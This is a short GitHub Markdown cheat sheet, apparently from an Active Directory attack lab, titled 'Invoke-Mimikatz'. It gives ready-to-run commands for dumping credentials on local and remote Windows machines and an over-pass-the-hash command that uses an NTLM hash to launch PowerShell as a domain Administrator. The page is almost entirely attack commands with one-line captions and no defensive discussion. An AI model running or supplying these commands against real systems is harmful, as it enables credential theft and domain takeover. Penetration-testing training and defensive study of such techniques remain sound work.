Skip to content

Latest commit

 

History

History
16 lines (13 loc) · 434 Bytes

2-Invoke-Mimikatz.md

File metadata and controls

16 lines (13 loc) · 434 Bytes

Invoke-Mimikatz

Dump credentials on a local machine

Invoke-Mimikatz -DumpCreds

Dump credentials on multiple remote machines

Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2")

"Over pass the hash" generate tokens from hashes

Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:dollarcorp.moneycorp.local /ntlm:<ntImhash> /run:powershell.exe"'